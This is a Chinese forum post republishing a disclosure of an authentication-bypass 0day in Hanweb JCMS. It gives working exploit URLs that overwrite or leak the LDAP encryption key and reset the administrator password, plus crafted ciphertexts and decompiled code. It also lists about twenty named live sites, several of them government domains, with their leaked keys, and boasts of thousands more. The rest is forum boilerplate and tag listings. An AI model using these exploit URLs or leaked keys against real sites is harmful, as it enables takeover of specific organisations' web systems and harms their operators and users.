登录 注册

乌云最新曝光的大汉网络通杀0day漏洞分享

本贴最后更新于 3162 天前，其中的信息可能已经时异事殊

第一步，大汉网络加解密说明

LDAP密钥配置文件，/interface/ldap/ldapconf.xml

获取密钥：<enckey>o3h2iB8ggnp2</enckey>

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

我们可以使用大汉的加解密库进行任意加解密，只要知道服务端的密钥，就可以和服务器进行通讯：

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

第二步，保存密钥的ldapconf.xml文件，放在了网站目录，直接可以访问：

code 区域
 （很简单就找到了很多密钥）http://122.224.183.4:80/jcms/interface/ldap/ldapconf.xml [123123] http://221.231.137.195/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx] http://202.108.199.114:80/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx] http://202.108.199.114/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx] http://6bur.cscec.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://cengangpcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://219.146.58.42/jcms/interface/ldap/ldapconf.xml [123123] http://cq.ea-spring.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://caiyuan.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://bingmei.sdcdc.cn/jcms/interface/ldap/ldapconf.xml [uhfuXyOav5pK8hil] http://3bur.cscec.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://csbj.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://changspcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://blbj.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://cz.anxiang.gov.cn/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://chart.sinotrans-csc.com/jcms/interface/ldap/ldapconf.xml [t0NN3oslN3OW] http://chengdpcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://bj.clubchinachic.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://dandong.xiangshan.gov.cn/jcms/interface/ldap/ldapconf.xml [123123] http://dayupcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://chdj.sinotrans-csc.com/jcms/interface/ldap/ldapconf.xml [t0NN3oslN3OW]

我们拿官网，进行一下测试：

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

访问：http://app.hanweb.com.cn/jcms/interface/ldap/ldapconf.xml

拿到了密钥：<enckey>OJ9Un5JmpTfN0gJx</enckey>

第三步，通过密钥： OJ9Un5JmpTfN0gJx，我们构造如下几个密文：

code 区域

encrypt : e2V1Z3UdA2sNaw==

decrypt : admin

encrypt : DEIBRXBGcUQOM3g0

decrypt : 123456

第四步，覆盖管理员密码为：admin - 123456

漏洞EXP：

http://app.hanweb.com.cn/jcms/interface/ldap/receive.jsp?state=C&result=T&loginuser=e2V1Z3UdA2sNaw==&loginpass=DEIBRXBGcUQOM3g0

直接登录，自动跳转到登录后台，进入后台Getshell的文章很多啦：

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

漏洞分析：

code 区域

组件功能：

/interface/ldap/receive.jsp这个组件，是一个不同大汉系统间，同步用户的通用组件。

例如：jact系统，需要把jcms用户同步到自己的系统中。

这个组件本来就是，用于创建用户的，如果被创建的用户存在的话，就会进行更新操作，在这里直接我管理员的密码，进行了重置。分析一下参数：

loginuser=e2V1Z3UdA2sNaw==

loginpass=DEIBRXBGcUQOM3g0

就是加密后的 admin - 123456，将管理员的密码覆盖了。

源码分析：

code 区域
# \interface\ldap\receive.jsp    // 获取参数   String loginuser = Convert.getParameter(request,"loginuser", "", true, true);    //用户名   String loginpass = Convert.getParameter(request,"loginpass", "", true, true);    //密码    // 创建用户对象   Merp_Pub_UserEntity entity = new Merp_Pub_UserEntity();   entity.setVc_loginid(loginuser);   entity.setVc_password(loginpass);    // 验证用户是否合法   ldapBlf.checkValidate(entity);  # 反编译 jcms.blf.user.LdapBLF.java    // 对于传递进来的参数，进行了解密   vc_loginid = decrypt(vc_loginid, this.encrypttype);   vc_pwd = decrypt(vc_pwd, this.encrypttype);   // 对解密后的用户信息，插入或更新数据库信息   insertOrUpdateUser(ldapEn, groupid, 0);

漏洞证明：


新的姿势：

上面提交的重置管理员密码漏洞，是因为ldap密钥泄漏。

/interface/ldap/ldapconf.xml，直接放到了网站目录中，可以直接访问。

我在对官方demo最新版本的测试中，/interface/ldap/ldapconf.xml是无法访问的。

这样就看不到明文的密钥了，所以无法重置管理员密码了。

官方demo：http://demo.hanweb.com/jcms/

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

于是我又深入分析了一下，/interface/ldap/receive.jsp这个组件，发现一个惊喜。

code 区域
if (state.equals("S")) {    //注册应用    boolean b = ldapBlf.writeXML(appname,enckey,ldapurl,webtype,ssourl,encrypttype); }

原来这个xml的配置文件，是可以覆盖的，所以构造EXP：

http://demo.hanweb.com/jcms/interface/ldap/receive.jsp?state=S&enckey=key888

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

code 区域
构造加解密字符串：enckey  : key888 encrypt : BWcCb3FrBBh8bQ== decrypt : admin 覆盖管理员密码为：admin - admin

漏洞EXP：

http://demo.hanweb.com/jcms/interface/ldap/receive.jsp?state=C&result=T&loginuser=BWcCb3FrBBh8bQ==&loginpass=BWcCb3FrBBh8bQ==

再一次，成功登陆：

乌云最新曝光的大汉网络通杀0day漏洞分享-安全盒子

影响范围：

通过上面两种姿势，新旧版本全系统全版本保证通杀，包括：jcms，jact，jsearch，vipchat，vc，xxgk等等。

轻轻松松几千个站点，上面已经列了一些，不够的话我补充。


  • B3log

    B3log 是一个开源组织，名字来源于“Bulletin Board Blog”缩写，目标是将独立博客与论坛结合，形成一种新的网络社区体验，详细请看 B3log 构思。目前 B3log 已经开源了多款产品：Sym、Solo、Vditor 和 思源笔记。

    1063 引用 • 3454 回帖 • 189 关注
广州 位置
1 赞同
3.0k 14 1.1k 283 178 79 9 54 1.3k

相关帖子

回帖
乌云最新曝光的大汉网络通杀0day漏洞分享

欢迎来到这里！

我们正在构建一个小众社区，大家在这里相互信任，以平等 • 自由 • 奔放的价值观进行分享交流。最终，希望大家能够找到与自己志同道合的伙伴，共同成长。

注册 关于
请输入回帖内容 ...
a731940742
广州
回帖
0
 帖子
6
 积分
1995

近期热议

推荐标签 标签

  • Solidity

    Solidity 是一种智能合约高级语言，运行在 [以太坊] 虚拟机（EVM）之上。它的语法接近于 JavaScript，是一种面向对象的语言。

    3 引用 • 18 回帖 • 401 关注
  • MySQL

    MySQL 是一个关系型数据库管理系统，由瑞典 MySQL AB 公司开发，目前属于 Oracle 公司。MySQL 是最流行的关系型数据库管理系统之一。

    692 引用 • 535 回帖
  • 小说

    小说是以刻画人物形象为中心，通过完整的故事情节和环境描写来反映社会生活的文学体裁。

    28 引用 • 108 回帖
  • V2EX

    V2EX 是创意工作者们的社区。这里目前汇聚了超过 400,000 名主要来自互联网行业、游戏行业和媒体行业的创意工作者。V2EX 希望能够成为创意工作者们的生活和事业的一部分。

    17 引用 • 236 回帖 • 316 关注
  • 前端

    前端技术一般分为前端设计和前端开发，前端设计可以理解为网站的视觉设计，前端开发则是网站的前台代码实现，包括 HTML、CSS 以及 JavaScript 等。

    247 引用 • 1348 回帖 • 1 关注
  • SSL

    SSL（Secure Sockets Layer 安全套接层），及其继任者传输层安全（Transport Layer Security，TLS）是为网络通信提供安全及数据完整性的一种安全协议。TLS 与 SSL 在传输层对网络连接进行加密。

    70 引用 • 193 回帖 • 418 关注
  • jsDelivr

    jsDelivr 是一个开源的 CDN 服务，可为 npm 包、GitHub 仓库提供免费、快速并且可靠的全球 CDN 加速服务。

    5 引用 • 31 回帖 • 72 关注
  • WebSocket

    WebSocket 是 HTML5 中定义的一种新协议，它实现了浏览器与服务器之间的全双工通信（full-duplex）。

    48 引用 • 206 回帖 • 318 关注
  • Hexo

    Hexo 是一款快速、简洁且高效的博客框架，使用 Node.js 编写。

    21 引用 • 140 回帖 • 3 关注
  • Ant-Design

    Ant Design 是服务于企业级产品的设计体系，基于确定和自然的设计价值观上的模块化解决方案，让设计者和开发者专注于更好的用户体验。

    17 引用 • 23 回帖 • 4 关注
  • HHKB

    HHKB 是富士通的 Happy Hacking 系列电容键盘。电容键盘即无接点静电电容式键盘（Capacitive Keyboard）。

    5 引用 • 74 回帖 • 478 关注
  • OkHttp

    OkHttp 是一款 HTTP & HTTP/2 客户端库，专为 Android 和 Java 应用打造。

    16 引用 • 6 回帖 • 76 关注
  • SQLServer

    SQL Server 是由 [微软] 开发和推广的关系数据库管理系统（DBMS），它最初是由 微软、Sybase 和 Ashton-Tate 三家公司共同开发的，并于 1988 年推出了第一个 OS/2 版本。

    21 引用 • 31 回帖 • 5 关注
  • Unity

    Unity 是由 Unity Technologies 开发的一个让开发者可以轻松创建诸如 2D、3D 多平台的综合型游戏开发工具，是一个全面整合的专业游戏引擎。

    25 引用 • 7 回帖 • 158 关注
  • 安全

    安全永远都不是一个小问题。

    200 引用 • 816 回帖
  • 架构

    我们平时所说的“架构”主要是指软件架构，这是有关软件整体结构与组件的抽象描述，用于指导软件系统各个方面的设计。另外还有“业务架构”、“网络架构”、“硬件架构”等细分领域。

    142 引用 • 442 回帖 • 1 关注
  • Gzip

    gzip （GNU zip）是 GNU 自由软件的文件压缩程序。我们在 Linux 中经常会用到后缀为 .gz 的文件，它们就是 Gzip 格式的。现今已经成为互联网上使用非常普遍的一种数据压缩格式，或者说一种文件格式。

    9 引用 • 12 回帖 • 147 关注
  • API

    应用程序编程接口（Application Programming Interface）是一些预先定义的函数，目的是提供应用程序与开发人员基于某软件或硬件得以访问一组例程的能力，而又无需访问源码，或理解内部工作机制的细节。

    77 引用 • 430 回帖
  • Lute

    Lute 是一款结构化的 Markdown 引擎，支持 Go 和 JavaScript。

    26 引用 • 196 回帖 • 17 关注
  • Openfire

    Openfire 是开源的、基于可拓展通讯和表示协议 (XMPP)、采用 Java 编程语言开发的实时协作服务器。Openfire 的效率很高，单台服务器可支持上万并发用户。

    6 引用 • 7 回帖 • 101 关注
  • 快应用

    快应用 是基于手机硬件平台的新型应用形态；标准是由主流手机厂商组成的快应用联盟联合制定；快应用标准的诞生将在研发接口、能力接入、开发者服务等层面建设标准平台；以平台化的生态模式对个人开发者和企业开发者全品类开放。

    15 引用 • 127 回帖
  • jsoup

    jsoup 是一款 Java 的 HTML 解析器，可直接解析某个 URL 地址、HTML 文本内容。它提供了一套非常省力的 API，可通过 DOM，CSS 以及类似于 jQuery 的操作方法来取出和操作数据。

    6 引用 • 1 回帖 • 484 关注
  • 酷鸟浏览器

    安全 · 稳定 · 快速
    为跨境从业人员提供专业的跨境浏览器

    3 引用 • 59 回帖 • 26 关注
  • Tomcat

    Tomcat 最早是由 Sun Microsystems 开发的一个 Servlet 容器，在 1999 年被捐献给 ASF（Apache Software Foundation），隶属于 Jakarta 项目，现在已经独立为一个顶级项目。Tomcat 主要实现了 JavaEE 中的 Servlet、JSP 规范，同时也提供 HTTP 服务，是市场上非常流行的 Java Web 容器。

    162 引用 • 529 回帖 • 3 关注
  • 倾城之链
    23 引用 • 66 回帖 • 138 关注
  • 心情

    心是产生任何想法的源泉，心本体会陷入到对自己本体不能理解的状态中，因为心能产生任何想法，不能分出对错，不能分出自己。

    59 引用 • 369 回帖
  • Webswing

    Webswing 是一个能将任何 Swing 应用通过纯 HTML5 运行在浏览器中的 Web 服务器，详细介绍请看 将 Java Swing 应用变成 Web 应用 。

    1 引用 • 15 回帖 • 637 关注

最新标签